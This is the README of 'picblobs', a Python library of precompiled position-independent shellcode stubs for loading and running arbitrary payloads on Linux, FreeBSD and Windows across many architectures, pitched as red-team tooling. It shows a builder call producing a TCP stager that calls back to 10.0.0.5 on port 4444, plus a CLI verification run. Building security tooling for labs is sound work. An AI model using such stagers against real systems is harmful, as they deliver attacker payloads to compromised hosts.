PICBLOBS // guide

picblobs

Pre-compiled, position-independent code (PIC) blobs for loading and executing arbitrary payloads on multiple operating systems and architectures. Eliminates the need for hand-writing shellcode by providing tested, cross-platform PIC stubs through a simple Python API.

User Story

As a cybersecurity developer, I am sick and tired of writing assembly and shellcode.

I would like prestaged payloads for all targets I touch on a regular basis to enable
ethical security research.

The project ships prebuilt blob assets plus runners and verification tooling, so consumers can build configs and execute tested PIC stubs without needing to write per-architecture assembly.

What's in the box

  • 13 architectures: x86_64, i686, aarch64, armv5 (ARM/Thumb), armv7, s390x, mipsel32, mipsbe32, sparcv8, powerpc, ppc64le, riscv64
  • 3 operating systems: Linux, FreeBSD, Windows
  • Freestanding C blobs compiled with -ffreestanding -nostdlib -fPIC -Os
  • Python API for loading, extracting, introspecting, and assembling blobs
  • CLI (picblobs-cli) for inspecting, building, running, and verifying blobs
  • Cross-architecture testing via QEMU user-static
  • Bazel 9 build system with automatic Bootlin toolchain provisioning
  • Kernel toolkit for red team lab exercises

Python API

The builder API takes a target OS/architecture, configures a blob type, then produces the final bytes or metadata:

import picblobs

blob = (
    picblobs.Blob("linux", "riscv64")
    .stager_tcp()
    .address("10.0.0.5")
    .port(4444)
    .build()
)

Verified status

The staged release catalog currently contains 368 blob/target entries across 24 OS/architecture targets. Use picblobs-cli verify for the full end-to-end sweep, or filter it while iterating:

$ picblobs-cli verify --os linux --arch x86_64 --type hello
[linux] hello
  linux:x86_64          OK   'Hello, world!'

1/1 passed